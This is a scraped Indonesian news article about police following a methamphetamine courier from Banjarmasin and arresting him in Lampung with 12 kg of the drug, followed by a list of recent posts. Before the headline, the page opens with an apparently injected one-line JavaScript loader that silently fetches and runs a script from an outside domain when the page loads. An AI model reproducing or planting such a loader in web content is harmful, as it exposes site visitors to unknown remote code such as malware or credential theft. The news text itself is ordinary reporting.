(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dibuntuti ke Sumatera, Kurir Sabu 12 Kg Berupah Rp 35 Juta Diciduk di Lampung


BANJARMASIN, Jelang penutupan tahun 2018, Kepolisian Resor Kota (Polresta) Banjarmasin menggagalkan upaya penyelundupan sabu-sabu 12 kilogram asal jaringan Malaysia, Senin (24/12/2018) lalu. Sebelum Kristal laknat itu masuk ke Banjarmasin, polisi terlebih dahulu meringkus satu kurir bernama Sadikin (22) alias Dikin di Desa Branti Raya, Kecamatan Natar, Kabupaten Lampung Selatan.

Pada press rilis penangkapan sabu di Mapolresta Banjarmasin, Minggu (30/12) , Kepala Polresta Banjarmasin Kombes Sumarto menjelaskan, dari pengakuan tersangka Sadikin (22), warga Jalan Seberang Mesjid, Kampung Sasirangan RT 04, Kota Banjarmasin, ia mendapat upah hingga puluhan juta rupiah dari hasil kerja haramnya tersebut.

“Tersangka mengaku mendapat upah Rp 35 juta untuk mengambil paket sabu sebanyak 12 kilogram dari pulau Sumatera untuk selanjutnya dibawa ke Kota Banjarmasin,” katanya.

Dijelaskan Kapolresta Banjarmaain, kronologis bermula, pada hari Kamis (20/12/2018), petugas Sat Narkoba Polresta Banjarmasin memperoleh informasi ada kurir yang akan masukkan narkotika jenis sabu-sabu dalam jumlah besar ke wilayah Banjarmasin. Dipimpin langsung Kasat Narkoba Polresta Banjarmasin di bawah kendali Kapolresta Banjarmasin melakukan controlled delivery terjadap pelaku yang diikuti mulai dari Banjarmasin untuk mengambil paket ke pulau Sumatera.

Kemudian pada hari Sabtu (22/12/2018) petugas membuntuti pelaku ke pulau Jawa, tepatnya ke wilayah Malang. Namun petugas kehilangan jejak karena pelaku menggunakan KTP dengan identitas palsu guna mengelabuu petugas di lapangan.

Keesokannya pada tanggal 23 Desember 2018, petugas mendapat petunjuk bahwa pelaku sudah berada di Sumatra dan petugas bergegas menelusuri jejak pelaku dari Palembang hingga Bandar Lampung.

Pada hari penangkapan, Senin (24/12/2018) petugas memperoleh informasi, pelaku sedang berada di Jalan Lintas Timur Sumatra Km 28, Natar, Branti Raya, Kabupaten Lampung Selatan. Sekitar pukul 13.30 WlB, petugas bertemu dengan pelaku yang tengah membawa koper berwarna hitam.

“Dari gerak geril pelaku yang curiga melihat keberadaan petugas, pelaku berupaya melarikan diri. Anggota kemudian bergegas dan berhasil menangkap pelaku. Saat dibuka koper tersebut, memang benar bahwa di dalamnya terdapat 12 paket besar sabu-sabu yang akan di bawa ke Kota Banjarmasin dengan berat 12 Kg,” jelasnya.

Menurut Sumarto, tersangka yang masih tergolong muda ini mengaku sudah dua kali menjadi kurir sabu. Pelaku pernah membawa sabu pada awal Desember 2018 dengan jumlah yang juga besar.

Sumarto menegaskan, penyelundupan sabu dengan jumlah besar bisa dipastikan melibatkan jaringan internasional. Lebih lanjut, pihaknya dan Ditresnarkoba Polda Kalsel akan melacak jejak jaringan kurir sabu lintas provinsi itu.

“Perlu diketahui, bahwa jaringan ini tidak berdiri sendiri, selalu berhubungan dengan kelompok atau jaringan yang lain. Kalau kita lihat kemasannya, barang ini tentu didatangkan dari luar, produk dari luar yang saat ini sedang dilakukan pengembangan,” lanjutnya.

Diduga dari 12 paket sabu dalam kemasan 1 kilogram itu untuk pesta di malam pergantian tahun baru. Polisi masih terus menyelidiki pemasok lain yang hendak mengirim sabu ke Kalsel. Palaku dijerat pasal 114 UU Nomor 35 Tahun 2009 tentang Narkotika, dengan ancaman penjara 5-20 tahun.

Sebelumnya, Polda Kalimantan Selatan dan Polresta Banjarmasin, meringkus jaringan sindikat luar negeri peredaran narkoba sabu 5,3 kilogram di Kota Banjarmasin pada 1 Desember 2018. Kepala Polda Kalsel Irjen Pol Yazid Fanani mengungkap, temuan sabu 5,3 kilogram dari dua orang tersangka; Muhammad Arief firdaus (21) dan Muhammad Fahrizal (23). Keduanya bukan warga Banjarmasin.

“Dalam kurun waktu sebulan terakhir, kami berhasil meringkus jaringan sindikat narkoba luar negeri dengan tangkapan dua orang pelaku asal Jakarta dan Cilegon dengan barang bukti 5,3 kilogram sabu,” kata Kapolda Kalsel Irjen Yazid Fanani pada awal Desember lalu.

Temuan sabu 5,3 kilogram tersebut dapat menyelematkan 100 ribu orang dengan pengguna paket sederhana sekitar 0,5 gram. (rico)


Reporter: Rico
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

20 menit ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

3 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

3 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

18 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

19 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

22 jam ago

This website uses cookies.